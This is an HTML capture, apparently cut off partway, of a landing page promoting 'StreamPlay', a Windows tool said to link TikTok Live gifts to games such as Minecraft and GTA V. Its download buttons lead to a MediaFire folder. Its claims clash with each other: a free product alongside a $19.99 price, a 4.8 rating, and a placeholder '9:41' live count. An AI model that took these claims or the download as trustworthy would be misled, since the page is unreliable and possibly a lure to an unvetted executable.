PageSourceSearch

https://streamtoearn.surge.sh/

html streamtoearn.surge.sh collected 2026-10-03 14:56:24 UTC 44,500 bytes, 666 lines download raw bytes

1<!DOCTYPE html>
2<html lang="en">
3<head>
4<meta charset="UTF-8">
5<meta name="viewport" content="width=device-width, initial-scale=1.0">
6<title>StreamPlay - TikTok Interactive Games for Live Streamers | Gifts & Likes Trigger Minecraft, GTA V</title>
7<meta name="description" content="StreamPlay turns TikTok gifts, likes and follows into live game events. Play interactive games on stream with your viewers - Minecraft, GTA V, RDR2 and 20+ games. Free for Windows.">
8<meta name="keywords" content="tiktok interactive games, tiktok live games, streamer tools, live stream games, tiktok gifts games, twitch integration, minecraft tiktok live, gta v tiktok, interactive overlay, tiktok streamer, donate games tiktok">
9<meta name="author" content="StreamPlay">
10<meta name="robots" content="index, follow, max-image-preview:large">
11<meta name="theme-color" content="#0d0f14">
12<meta name="application-name" content="StreamPlay">
13<link rel="canonical" href="https://streamtoearn.pages.dev">
14<link rel="icon" type="image/x-icon" href="favicon.ico">
15<link rel="apple-touch-icon" href="images/og.png">
16<meta property="og:type" content="website">
17<meta property="og:site_name" content="StreamPlay">
18<meta property="og:locale" content="en_US">
19<meta property="og:title" content="StreamPlay - TikTok Interactive Games for Live Streamers">
20<meta property="og:description" content="Gifts, likes & follows trigger actions in Minecraft, GTA V, RDR2 and 20+ games. Take your TikTok live to the next level. Free for Windows.">
21<meta property="og:image" content="https://streamtoearn.pages.dev/images/og.png">
22<meta property="og:image:type" content="image/png">
23<meta property="og:image:width" content="1200">
24<meta property="og:image:height" content="630">
25<meta property="og:url" content="https://streamtoearn.pages.dev">
26<meta name="twitter:card" content="summary_large_image">
27<meta name="twitter:title" content="StreamPlay - TikTok Interactive Games for Live Streamers">
28<meta name="twitter:description" content="Gifts, likes & follows trigger actions in Minecraft, GTA V, RDR2 and 20+ games. Free for Windows.">
29<meta name="twitter:image" content="https://streamtoearn.pages.dev/images/og.png">
30<meta name="twitter:site" content="@streamplay">
31<meta name="twitter:creator" content="@streamplay">
32<script type="application/ld+json">
33{
34  "@context": "https://schema.org",
35  "@type": "SoftwareApplication",
36  "name": "StreamPlay",
37  "operatingSystem": "Windows",
38  "applicationCategory": "GameApplication",
39  "offers": { "@type": "Offer", "price": "19.99", "priceCurrency": "USD" },
40  "aggregateRating": { "@type": "AggregateRating", "ratingValue": "4.8", "ratingCount": "1240" },
41  "description": "TikTok interactive games for live streamers. Gifts, likes and follows trigger actions in Minecraft, GTA V, RDR2 and 20+ games."
42}
43</script>
43
44<link rel="preconnect" href="https://fonts.googleapis.com">
45<link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700;800&family=JetBrains+Mono:wght@400;500&display=swap" rel="stylesheet">
46<style>
47:root {
48  --bg: #0d0f14;
49  --bg2: #131722;
50  --card: #171c29;
51  --border: #262d3f;
52  --text: #e8ecf4;
53  --muted: #9aa3b5;
54  --lime: #b7f04a;
55  --gold: #e8b93b;
56  --red: #ff5c5c;
57}
58* { margin: 0; padding: 0; box-sizing: border-box; }
59body {
60  background: var(--bg);
61  color: var(--text);
62  font-family: 'Inter', system-ui, sans-serif;
63  line-height: 1.6;
64}
65.container { max-width: 1120px; margin: 0 auto; padding: 0 24px; }
66a { color: inherit; text-decoration: none; }
67
68/* NAV */
69nav {
70  position: fixed; top: 0; left: 0; right: 0; z-index: 50;
71  background: rgba(13,15,20,.85); backdrop-filter: blur(10px);
72  border-bottom: 1px solid var(--border);
73}
74.nav-inner { display: flex; align-items: center; gap: 28px; height: 64px; }
75.logo { font-weight: 800; font-size: 20px; letter-spacing: -.5px; display: flex; align-items: center; gap: 8px; }
76.logo img { height: 26px; }
77.logo b { color: var(--lime); }
78.nav-links { display: flex; gap: 20px; font-size: 14px; color: var(--muted); flex: 1; }
79.nav-links a:hover { color: var(--text); }
80.btn {
81  display: inline-block; padding: 10px 18px; border-radius: 10px;
82  font-weight: 600; font-size: 14px; cursor: pointer; border: none;
83}
84.btn-gold { background: var(--gold); color: #1a1404; }
85.btn-gold:hover { filter: brightness(1.1); }
86.btn-outline { border: 1px solid var(--border); color: var(--text); background: transparent; }
87.btn-outline:hover { border-color: var(--muted); }
88
89/* HERO */
90.hero { padding: 140px 0 80px; text-align: center; }
91.hero .badge {
92  display: inline-block; background: #1c2410; color: var(--lime);
93  border: 1px solid #3a4a1e; padding: 6px 14px; border-radius: 999px;
94  font-size: 13px; font-weight: 600; margin-bottom: 24px;
95}
96.hero h1 { font-size: 52px; line-height: 1.15; font-weight: 800; letter-spacing: -1px; }
97.hero h1 .lime { color: var(--lime); }
98.hero p { color: var(--muted); font-size: 18px; max-width: 640px; margin: 20px auto 8px; }
99.hero .sub2 { font-size: 14px; color: var(--muted); margin-bottom: 32px; }
100.hero-actions { display: flex; gap: 12px; justify-content: center; align-items: center; flex-wrap: wrap; }
101.hero-actions .hint { font-size: 12px; color: var(--muted); }
102.hero-stats { display: flex; gap: 40px; justify-content: center; margin-top: 48px; flex-wrap: wrap; }
103.stat { text-align: center; }
104.stat .num { font-size: 26px; font-weight: 700; color: var(--lime); font-family: 'JetBrains Mono', monospace; }
105.stat .lbl { font-size: 12px; color: var(--muted); }
106
107.hero .hero-img { width: 100%; max-width: 760px; margin: 48px auto 0; display: block; border-radius: 16px; filter: drop-shadow(0 20px 60px rgba(183,240,74,.15)); }
108.float-ico { position: absolute; filter: drop-shadow(0 10px 30px rgba(0,0,0,.5)); animation: floaty 4s ease-in-out infinite; }
109.float-ico.i1 { top: 220px; right: 8%; width: 70px; }
110.float-ico.i2 { top: 320px; left: 7%; width: 80px; animation-delay: 1.2s; }
111.float-ico.i3 { bottom: 60px; right: 12%; width: 60px; animation-delay: 2s; }
112@keyframes floaty { 0%,100% { transform: translateY(0); } 50% { transform: translateY(-14px); } }
113
114/* SECTIONS */
115section { padding: 72px 0; }
116.section-head { text-align: center; margin-bottom: 48px; }
117.section-head .tag {
118  color: var(--lime); font-family: 'JetBrains Mono', monospace;
119  font-size: 13px; letter-spacing: 1px; margin-bottom: 10px;
120}
121.section-head h2 { font-size: 34px; font-weight: 800; letter-spacing: -.5px; }
122.section-head p { color: var(--muted); margin-top: 10px; max-width: 600px; margin-left: auto; margin-right: auto; }
123.center { text-align: center; }
124
125/* HOW IT WORKS */
126.steps { display: grid; grid-template-columns: repeat(3, 1fr); gap: 20px; }
127.step {
128  background: var(--card); border: 1px solid var(--border);
129  border-radius: 16px; padding: 28px;
130}
131.step .no { font-family: 'JetBrains Mono', monospace; color: var(--gold); font-size: 14px; }
132.step h3 { margin: 10px 0 8px; font-size: 18px; }
133.step p { color: var(--muted); font-size: 14px; }
134.step .demo {
135  margin-top: 16px; background: var(--bg2); border: 1px solid var(--border);
136  border-radius: 10px; padding: 12px; font-family: 'JetBrains Mono', monospace;
137  font-size: 12px; color: var(--lime);
138}
139.live-chip { display: inline-block; background: #2a1a1a; color: var(--red); border: 1px solid #4a2525; border-radius: 999px; padding: 3px 10px; font-size: 12px; font-weight: 600; margin-right: 8px; }
140
141/* LIVE NOW */
142.live-section { padding: 60px 0; }
143.live-head { text-align: center; margin-bottom: 32px; display: flex; flex-direction: column; align-items: center; gap: 6px; }
144.live-head .sect-eye { font-family: 'JetBrains Mono', monospace; font-size: 13px; color: var(--gold); letter-spacing: 2px; text-transform: uppercase; margin-bottom: 4px; }
145.live-head h2 { font-size: 38px; font-weight: 700; letter-spacing: -.5px; }
146.live-head p { color: var(--muted); font-size: 15px; }
147.live-grid { display: grid; grid-template-columns: repeat(6, 1fr); gap: 14px; }
148.live-more { display: flex; justify-content: center; margin-top: 22px; }
149.live-card {
150  background: #0f1c3c; border: 1px solid #26334f;
151  border-radius: 18px; padding: 16px 10px 14px;
152  display: flex; flex-direction: column; align-items: center; gap: 6px;
153  position: relative; cursor: pointer;
154  transition: transform .2s, border-color .2s;
155}
156.live-card:hover { transform: translateY(-4px); border-color: rgba(195,62,240,.4); }
157.live-card .live-dot {
158  position: absolute; top: 10px; left: 10px;
159  display: flex; align-items: center; gap: 4px;
160  background: rgba(0,0,0,.4); padding: 2px 7px; border-radius: 999px;
161  font-family: 'JetBrains Mono', monospace; font-size: 8px; letter-spacing: 1px; color: #fff;
162}
163.live-card .live-dot::before { content: ''; width: 4px; height: 4px; border-radius: 50%; background: #ff3b6b; box-shadow: 0 0 4px #ff3b6b; animation: blink 1.4s infinite; }
164.live-card .viewers-top {
165  position: absolute; top: 10px; right: 10px;
166  font-family: 'JetBrains Mono', monospace; font-size: 9px; color: var(--text);
167  display: flex; align-items: center; gap: 3px;
168}
169.live-card .av-wrap { position: relative; width: 64px; height: 64px; margin-top: 14px; }
170.live-card .av-ring {
171  position: absolute; inset: -2px; border-radius: 50%;
172  background: conic-gradient(from 200deg, #c33ef0, #ff7ad6, var(--gold), #c33ef0);
173  padding: 2px; animation: s2e-spin 4s linear infinite;
174}
175.live-card .av {
176  width: 64px; height: 64px; border-radius: 50%;
177  display: grid; place-items: center;
178  font-weight: 700; font-size: 18px;
179  color: rgba(255,255,255,.85);
180  position: relative; z-index: 1;
181  border: 2px solid #1c2230;
182  overflow: hidden; object-fit: cover;
183}
184.live-card .av.a1 { background: linear-gradient(135deg, #c33ef0, #1f3463); }
185.live-card .av.a2 { background: linear-gradient(135deg, #f0a722, #8e25b6); }
186.live-card .av.a3 { background: linear-gradient(135deg, #9ec73a, #1f3463); }
187.live-card .av.a4 { background: linear-gradient(135deg, #2b4a8a, #c33ef0); }
188.live-card .av.a5 { background: linear-gradient(135deg, #ff7ad6, #1f3463); }
189.live-card .av.a6 { background: linear-gradient(135deg, #1f3463, #9ec73a); }
190.live-card .badge {
191  position: absolute; left: 50%; bottom: -6px; transform: translateX(-50%);
192  background: #c33ef0; color: #fff;
193  font-weight: 700; font-size: 9px;
194  padding: 2px 6px; border-radius: 4px; letter-spacing: .06em;
195  z-index: 2; white-space: nowrap;
196}
197.live-card .badge.free { background: var(--lime); color: #1f3000; }
198.live-card .badge.pro  { background: var(--gold); color: #3d2700; }
199@keyframes s2e-spin { to { transform: rotate(360deg); } }
200.live-card .handle { font-weight: 600; font-size: 13px; max-width: 100%; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; padding: 0 4px; }
201.live-card .game-row { display: flex; align-items: center; gap: 6px; font-size: 11px; color: var(--muted); }
202.live-card .game-row .dot { width: 6px; height: 6px; border-radius: 50%; background: var(--lime); box-shadow: 0 0 6px var(--lime); }
203.live-card .cta-mini {
204  background: var(--gold); color: #3d2700;
205  font-weight: 700; font-size: 11px;
206  padding: 4px 12px; border-radius: 999px; margin-top: 2px;
207}
208@keyframes blink { 0%,100% { opacity: 1; } 50% { opacity: .3; } }
209
210/* GAMES TILES */
211.game-tile {
212  position: relative; display: block;
213  aspect-ratio: 1 / 1;
214  border-radius: 18px; overflow: hidden;
215  cursor: pointer;
216  transition: transform .2s, box-shadow .2s;
217  background-size: cover; background-position: center;
218  background-color: #0a1330;
219}
220.game-tile:hover { transform: translateY(-3px); }
221.game-tile .corner {
222  position: absolute; top: 10px; right: 10px;
223  background: rgba(0,0,0,.55); backdrop-filter: blur(6px);
224  padding: 4px 9px; border-radius: 999px;
225  font-family: 'JetBrains Mono', monospace; font-size: 9px; color: #fff; letter-spacing: .04em;
226  z-index: 3;
227}
228.game-tile .corner.hot { background: rgba(240,167,34,.85); color: #3d2700; }
229.game-tile .overlay {
230  position: absolute; inset: 0;
231  background: linear-gradient(180deg, transparent 30%, rgba(4,8,26,.5) 55%, rgba(4,8,26,.97) 92%);
232  display: flex; flex-direction: column; justify-content: flex-end;
233  padding: 16px 18px 18px; z-index: 2; pointer-events: none;
234}
235.game-tile .overlay h4 { font-size: 19px; font-weight: 700; margin-bottom: 4px; }
236.game-tile .meta {
237  display: flex; align-items: center; gap: 8px;
238  font-weight: 500; font-size: 12px;
239  color: rgba(255,255,255,.85); text-shadow: 0 1px 8px rgba(0,0,0,.7);
240}
241.game-tile .meta .dot { width: 6px; height: 6px; background: var(--lime); border-radius: 50%; box-shadow: 0 0 8px var(--lime); flex-shrink: 0; }
242.game-tile.see-all {
243  background: linear-gradient(160deg, #1f3463 0%, #0a1330 100%);
244  display: grid; place-items: center;
245}
246.game-tile.see-all .inner { display: flex; flex-direction: column; align-items: center; gap: 6px; }
247.game-tile.see-all .num { font-size: 60px; font-weight: 700; color: var(--gold); line-height: 1; }
248.game-tile.see-all .lbl { font-family: 'JetBrains Mono', monospace; font-size: 15px; letter-spacing: 2px; text-transform: uppercase; color: var(--text); }
249.game-tile--minecraft { background-image: url('images/home/games/minecraft.webp'); }
250.game-tile--gta5 { background-image: url('images/home/games/gta5.webp'); }
251.game-tile--rdr2 { background-image: url('images/home/games/rdr2.webp'); }
252.game-tile--witcher3 { background-image: url('images/home/games/witcher3.webp'); }
253.game-tile--eldenring { background-image: url('images/home/games/elden-ring.webp'); }
254.game-tile--roblox { background-image: url('images/home/games/roblox.webp'); }
255.game-tile--re4 { background-image: url('images/home/games/resident-evil-4.webp'); }
256.game-tile--7days { background-image: url('images/home/games/7daystodie.webp'); }
257.game-tile--left4dead2 { background-image: url('images/home/games/left4dead2.webp'); }
258.game-tile--smsim { background-image: url('images/home/games/supermarket-simulator.webp'); }
259.game-tile--repo { background-image: url('images/home/games/repo.webp'); }
260
261/* GAMES */
262.games-grid { display: grid; grid-template-columns: repeat(4, 1fr); gap: 16px; }
263.game {
264  background: var(--card); border: 1px solid var(--border);
265  border-radius: 14px; padding: 20px; cursor: pointer;
266  transition: transform .15s ease, border-color .15s ease;
267}
268.game:hover { transform: translateY(-3px); border-color: var(--lime); }
269.game .gname { font-weight: 700; font-size: 16px; display: flex; align-items: center; gap: 10px; }
270.game .glogo { width: 38px; height: 38px; object-fit: contain; border-radius: 8px; background: var(--bg2); padding: 4px; }
271.game .gmeta { color: var(--muted); font-size: 12px; margin-top: 6px; }
272.game .gmeta b { color: var(--gold); }
273.game .free { color: var(--lime); font-size: 12px; font-weight: 700; }
274.game .pro { color: var(--gold); font-size: 12px; font-weight: 700; }
275.game.most { border-color: var(--gold); }
276.popular-tag {
277  position: absolute; background: var(--gold); color: #1a1404; font-size: 11px;
278  font-weight: 800; padding: 3px 8px; border-radius: 6px; margin-top: -34px; margin-left: -8px;
279}
280
281/* FEATURES */
282.features { display: grid; grid-template-columns: 1fr 1fr; gap: 20px; }
283.feat {
284  background: var(--card); border: 1px solid var(--border);
285  border-radius: 16px; padding: 28px;
286}
287.feat .ic { font-size: 26px; }
288.feat .fimg { width: 100%; border-radius: 10px; margin-top: 14px; border: 1px solid var(--border); }
289.feat h3 { margin: 10px 0 8px; font-size: 19px; }
290.feat p { color: var(--muted); font-size: 14px; }
291.feat ul { list-style: none; margin-top: 14px; display: grid; gap: 6px; }
292.feat li { font-size: 13px; color: var(--muted); padding-left: 20px; position: relative; }
293.feat li::before { content: "✓"; position: absolute; left: 0; color: var(--lime); }
294
295/* CTA */
296.cta { background: linear-gradient(180deg, var(--bg2), var(--bg)); border: 1px solid var(--border); border-radius: 20px; padding: 56px 32px; text-align: center; }
297.cta h2 { font-size: 34px; font-weight: 800; }
298.cta p { color: var(--muted); margin: 12px auto 28px; max-width: 520px; }
299.cta .small { font-size: 12px; color: var(--muted); margin-top: 14px; }
300
301/* FAQ */
302.faq { max-width: 760px; margin: 0 auto; display: grid; gap: 12px; }
303details {
304  background: var(--card); border: 1px solid var(--border);
305  border-radius: 12px; padding: 18px 22px;
306}
307summary { cursor: pointer; font-weight: 600; font-size: 15px; list-style: none; position: relative; padding-right: 28px; }
308summary::after { content: "+"; position: absolute; right: 0; color: var(--lime); font-size: 20px; }
309details[open] summary::after { content: "–"; }
310details p { color: var(--muted); font-size: 14px; margin-top: 10px; }
311
312/* FOOTER */
313footer { border-top: 1px solid var(--border); padding: 40px 0; margin-top: 40px; }
314.footer-inner { display: flex; justify-content: space-between; align-items: center; flex-wrap: wrap; gap: 16px; }
315footer .muted { color: var(--muted); font-size: 13px; }
316.footer-links { display: flex; gap: 20px; font-size: 13px; color: var(--muted); }
317.footer-links a:hover { color: var(--text); }
318
319@media (max-width: 900px) {
320  .steps, .features { grid-template-columns: 1fr; }
321  .games-grid { grid-template-columns: repeat(2, 1fr); }
322  .live-grid { grid-template-columns: repeat(2, 1fr); gap: 10px; }
323  .hero h1 { font-size: 36px; }
324  .nav-links { display: none; }
325}
326</style>
327</head>
328<body>
329
330<nav>
331  <div class="container nav-inner">
332    <a class="logo" href="#"><img src="images/home/logo.svg" alt="">Stream<b>Play</b></a>
333    <div class="nav-links">
334      <a href="#how">How it works</a>
335      <a href="#live">Live now</a>
336      <a href="#games">Games</a>
337      <a href="#features">Features</a>
338      <a href="#faq">FAQ</a>
339    </div>
340<button class="btn btn-gold" onclick="window.open('https://mediafire.com/folder/z2h0qjwf2uo6a','_blank')">Download for Windows</button>
341  </div>
342</nav>
343
344<header class="hero">
345  <div class="container">
346    <span class="badge">🟢 Works with TikTok Live &amp; Kick</span>
347    <h1>Bind live stream events<br>to your <span class="lime">mini-game</span></h1>
348    <p>TikTok gifts, likes and follows trigger actions in Minecraft, GTA V, RDR2 and more. Your viewers become co-players.</p>
349    <p class="sub2">Your game becomes a playground powered by real-time viewer events.</p>
350    <div class="hero-actions">
351<button class="btn btn-gold" onclick="window.open('https://mediafire.com/folder/z2h0qjwf2uo6a','_blank')">Download for Windows</button>
352      <button class="btn btn-outline" onclick="document.getElementById('live').scrollIntoView({behavior:'smooth'})">See live channels</button>
353    </div>
354    <div class="hero-stats">
355      <div class="stat"><div class="num">56</div><div class="lbl">Games supported</div></div>
356      <div class="stat"><div class="num">12</div><div class="lbl">Free presets</div></div>
357      <div class="stat"><div class="num">9:41</div><div class="lbl">Streaming right now</div></div>
358    </div>
359    <div style="position:relative;">
360      <img class="float-
360ico i1" src="images/home/3d-coin.webp" alt="coin">
361      <img class="float-ico i2" src="images/home/3d-headset.webp" alt="headset">
362      <img class="float-ico i3" src="images/home/3d-controller.webp" alt="controller">
363      <img class="hero-img" src="images/home/hero-laptop.webp" alt="StreamPlay app on laptop">
364    </div>
365  </div>
366</header>
367
368<section id="how">
369  <div class="container">
370    <div class="section-head">
371      <div class="tag">01 — How it works</div>
372      <h2>Three steps, stream forever</h2>
373      <p>StreamPlay captures gifts, likes and follows from your TikTok Live and forwards them straight into the game.</p>
374    </div>
375    <div class="steps">
376      <div class="step">
377        <div class="no">01</div>
378        <h3>Go live on TikTok</h3>
379        <p>Stream as usual. Gifts, likes and follows fire off in real time, just like always.</p>
380        <div class="demo">@alex_007 • 1.2K viewers <span class="live-chip">LIVE</span></div>
381      </div>
382      <div class="step">
383        <div class="no">02</div>
384        <h3>Bind events to a preset</h3>
385        <p>"Rose → spawn zombie", "100 likes → drop a diamond". Pick from ready-made presets or build your own in a few clicks.</p>
386        <div class="demo">🌹 Rose → Spawn zombie</div>
387      </div>
388      <div class="step">
389        <div class="no">03</div>
390        <h3>Earn from the chaos</h3>
391        <p>Viewers gift to trigger events. More fun = more gifts. Switch presets mid-stream; test events with one click.</p>
392        <div class="demo">1× 🌹 Rose → zombie &nbsp; 30× 🍩 Donut → diamond</div>
393      </div>
394    </div>
395  </div>
396</section>
397
398<section class="live-section" id="live">
399  <div class="container">
400    <div class="live-head">
401      <span class="sect-eye">02 — Live now</span>
402      <h2>Real streams powered by StreamPlay.</h2>
403      <p>Top creators streaming with StreamPlay right now.</p>
404    </div>
405    <div class="live-grid" id="liveGrid">
406      <a class="live-card" href="https://www.tiktok.com/@bobuchaso/live" target="_blank" rel="noopener"><span class="live-dot">LIVE</span><span class="viewers-top"><svg width="10" height="10" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><circle cx="9" cy="8" r="3"/><path d="M3 21v-1a6 6 0 0 1 12 0v1"/></svg>712</span><div class="av-wrap"><div class="av-ring"></div><img class="av a1" src="https://p16-common-sign.tiktokcdn-eu.com/tos-alisg-avt-0068/7a9976f22df4d5cad5566f27e9449a5c~tplv-tiktokx-cropcenter:720:720.webp?dr=10399&refresh_token=5ce4513e&x-expires=1786712400&x-signature=bK8UNMWdLzRGkI2VoBFjopuF%2FWk%3D&t=4d5b0474&ps=13740610&shp=a5d48078&shcp=fdd36af4&idc=no1a" alt="@bobuchaso" loading="lazy" /><span class="badge pro">PRO</span></div><div class="handle">@bobuchaso</div><div class="game-row"><span class="dot"></span><span>Keyboard</span></div><span class="cta-mini">View &rarr;</span></a>
407      <a class="live-card" href="https://www.tiktok.com/@playeremo/live" target="_blank" rel="noopener"><span class="live-dot">LIVE</span><span class="viewers-top"><svg width="10" height="10" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><circle cx="9" cy="8" r="3"/><path d="M3 21v-1a6 6 0 0 1 12 0v1"/></svg>693</span><div class="av-wrap"><div class="av-ring"></div><img class="av a2" src="https://p16-common-sign.tiktokcdn-eu.com/tos-alisg-avt-0068/a7945b926b170947a28d3b93366cf7d7~tplv-tiktokx-cropcenter:720:720.webp?dr=10399&refresh_token=9c0cdc79&x-expires=1786669200&x-signature=RFIva8%2FXDQlYPgLx%2BDeTvUpwubg%3D&t=4d5b0474&ps=13740610&shp=a5d48078&shcp=fdd36af4&idc=no1a" alt="@playeremo" loading="lazy" /><span class="badge free">FREE</span></div><div class="handle">@playeremo</div><div class="game-row"><span class="dot"></span><span>GTA5</span></div><span class="cta-mini">View &rarr;</span></a>
408      <a class="live-card" href="https://www.tiktok.com/@rei.da.f0/live" target="_blank" rel="noopener"><span class="live-dot">LIVE</span><span class="viewers-top"><svg width="10" height="10" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><circle cx="9" cy="8" r="3"/><path d="M3 21v-1a6 6 0 0 1 12 0v1"/></svg>568</span><div class="av-wrap"><div class="av-ring"></div><img class="av a3" src="https://p16-common-sign.tiktokcdn.com/tos-alisg-avt-0068/6bed6ff34c0186a9fe50dfe537b643f8~tplv-tiktokx-cropcenter:168:168.jpeg?dr=14577&refresh_token=297deec1&x-expires=1786802400&x-signature=NJwI0Qh4heq
408%2BEA4g1ohbyD2mW3U%3D&t=4d5b0474&ps=13740610&shp=a5d48078&shcp=8aecc5ac&idc=my2" alt="@rei.da.f0" loading="lazy" /><span class="badge free">FREE</span></div><div class="handle">@rei.da.f0</div><div class="game-row"><span class="dot"></span><span>Keyboard</span></div><span class="cta-mini">View &rarr;</span></a>
409      <a class="live-card" href="https://www.tiktok.com/@uvinciebella/live" target="_blank" rel="noopener"><span class="live-dot">LIVE</span><span class="viewers-top"><svg width="10" height="10" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><circle cx="9" cy="8" r="3"/><path d="M3 21v-1a6 6 0 0 1 12 0v1"/></svg>540</span><div class="av-wrap"><div class="av-ring"></div><img class="av a4" src="https://p16-common-sign.tiktokcdn-eu.com/tos-maliva-avt-0068/aab05ff888d51f7c412bcdb2ce20556a~tplv-tiktokx-cropcenter:720:720.webp?dr=10399&refresh_token=75538ec7&x-expires=1786734000&x-signature=pb5EGdVnylMxpSsMYHm%2BrqaLfc4%3D&t=4d5b0474&ps=13740610&shp=a5d48078&shcp=fdd36af4&idc=no1a" alt="@uvinciebella" loading="lazy" /><span class="badge free">FREE</span></div><div class="handle">@uvinciebella</div><div class="game-row"><span class="dot"></span><span>Unknown</span></div><span class="cta-mini">View &rarr;</span></a>
410      <a class="live-card" href="https://www.tiktok.com/@_imshuncky_/live" target="_blank" rel="noopener"><span class="live-dot">LIVE</span><span class="viewers-top"><svg width="10" height="10" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><circle cx="9" cy="8" r="3"/><path d="M3 21v-1a6 6 0 0 1 12 0v1"/></svg>477</span><div class="av-wrap"><div class="av-ring"></div><img class="av a5" src="https://p16-common-sign.tiktokcdn-eu.com/tos-alisg-avt-0068/469ec5a6c53326eae6e0187edf853425~tplv-tiktokx-cropcenter:720:720.webp?dr=10399&refresh_token=1ba1822f&x-expires=1786795200&x-signature=2HmiL%2BqR%2B%2BRCwQghZzFNfRsTdhw%3D&t=4d5b0474&ps=13740610&shp=a5d48078&shcp=fdd36af4&idc=no1a" alt="@_imshuncky_" loading="lazy" /><span class="badge pro">PRO</span></div><div class="handle">@_imshuncky_</div><div class="game-row"><span class="dot"></span><span>Keyboard</span></div><span class="cta-mini">View &rarr;</span></a>
411      <a class="live-card" href="https://www.tiktok.com/@abdulrehmangamingg/live" target="_blank" rel="noopener"><span class="live-dot">LIVE</span><span class="viewers-top"><svg width="10" height="10" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><circle cx="9" cy="8" r="3"/><path d="M3 21v-1a6 6 0 0 1 12 0v1"/></svg>440</span><div class="av-wrap"><div class="av-ring"></div><img class="av a6" src="https://p16-common-sign.tiktokcdn-eu.com/tos-alisg-avt-0068/ac75ce5a4f1ae3e5222c136e6ab29e22~tplv-tiktokx-cropcenter:720:720.webp?dr=10399&refresh_token=896dd710&x-expires=1786726800&x-signature=JR2THLsXj9v7U7dfgFC2lXprXSo%3D&t=4d5b0474&ps=13740610&shp=a5d48078&shcp=fdd36af4&idc=no1a" alt="@abdulrehmangamingg" loading="lazy" /><span class="badge free">FREE</span></div><div class="handle">@abdulrehmangamingg</div><div class="game-row"><span class="dot"></span><span>GTA5</span></div><span class="cta-mini">View &rarr;</span></a>
412      <a class="live-card" href="https://www.tiktok.com/@jeka-keks/live" target="_blank" rel="noopener"><span class="live-dot">LIVE</span><span class="viewers-top"><svg width="10" height="10" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><circle cx="9" cy="8" r="3"/><path d="M3 21v-1a6 6 0 0 1 12 0v1"/></svg>402</span><div class="av-wrap"><div class="av-ring"></div><img class="av a1" src="https://p16-common-sign.tiktokcdn-eu.com/tos-alisg-avt-0068/1c8fcab99be91648680895e33f238d0c~tplv-tiktokx-cropcenter:720:720.webp?dr=10399&refresh_token=a9871adc&x-expires=1786766400&x-signature=5C2%2Fn99dvutCiB29RvoabDM34gs%3D&t=4d5b0474&ps=13740610&shp=a5d48078&shcp=fdd36af4&idc=no1a" alt="@jeka-keks" loading="lazy" /><span class="badge free">FREE</span></div><div class="handle">@jeka-keks</div><div class="game-row"><span class="dot"></span><span>HTTP</span></div><span class="cta-mini">View &rarr;</span></a>
413      <a class="live-card" href="https://www.tiktok.com/@theoriginalthemonster/live" target="_blank" rel="noopener"><span class="live-dot">LIVE</span><span class="viewers-top">
413<svg width="10" height="10" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><circle cx="9" cy="8" r="3"/><path d="M3 21v-1a6 6 0 0 1 12 0v1"/></svg>376</span><div class="av-wrap"><div class="av-ring"></div><img class="av a2" src="https://p16-common-sign.tiktokcdn-eu.com/tos-alisg-avt-0068/934ababc4069698d570e6f35faaa0964~tplv-tiktokx-cropcenter:720:720.webp?dr=10399&refresh_token=b886ad02&x-expires=1786708800&x-signature=GL2VUSSTByuIY7oYX%2FPRmV7Kl%2Bw%3D&t=4d5b0474&ps=13740610&shp=a5d48078&shcp=fdd36af4&idc=no1a" alt="@theoriginalthemonster" loading="lazy" /><span class="badge free">FREE</span></div><div class="handle">@theoriginalthemonster</div><div class="game-row"><span class="dot"></span><span>GTA5</span></div><span class="cta-mini">View &rarr;</span></a>
414      <a class="live-card" href="https://www.tiktok.com/@silvaomemo/live" target="_blank" rel="noopener"><span class="live-dot">LIVE</span><span class="viewers-top"><svg width="10" height="10" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><circle cx="9" cy="8" r="3"/><path d="M3 21v-1a6 6 0 0 1 12 0v1"/></svg>280</span><div class="av-wrap"><div class="av-ring"></div><img class="av a3" src="https://p16-common-sign.tiktokcdn-eu.com/tos-alisg-avt-0068/1b576b1141589e97ab92b6d6c1d8981f~tplv-tiktokx-cropcenter:720:720.webp?dr=10399&refresh_token=fcb2f194&x-expires=1786744800&x-signature=kjeFOXibcHyCFAqz8r1KfPHi%2FEU%3D&t=4d5b0474&ps=13740610&shp=a5d48078&shcp=fdd36af4&idc=no1a" alt="@silvaomemo" loading="lazy" /><span class="badge free">FREE</span></div><div class="handle">@silvaomemo</div><div class="game-row"><span class="dot"></span><span>OnlyClimb</span></div><span class="cta-mini">View &rarr;</span></a>
415      <a class="live-card" href="https://www.tiktok.com/@benoit6464/live" target="_blank" rel="noopener"><span class="live-dot">LIVE</span><span class="viewers-top"><svg width="10" height="10" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><circle cx="9" cy="8" r="3"/><path d="M3 21v-1a6 6 0 0 1 12 0v1"/></svg>262</span><div class="av-wrap"><div class="av-ring"></div><img class="av a4" src="https://p16-common-sign.tiktokcdn-eu.com/tos-no1a-avt-0068c001-no/0895105e51ff75a52408743f165a2c94~tplv-tiktokx-cropcenter:720:720.webp?dr=10399&refresh_token=5bc35d9d&x-expires=1786723200&x-signature=hDXuSDIK%2BwqAEp9LudPibPXD8yU%3D&t=4d5b0474&ps=13740610&shp=a5d48078&shcp=fdd36af4&idc=no1a" alt="@benoit6464" loading="lazy" /><span class="badge free">FREE</span></div><div class="handle">@benoit6464</div><div class="game-row"><span class="dot"></span><span>Keyboard</span></div><span class="cta-mini">View &rarr;</span></a>
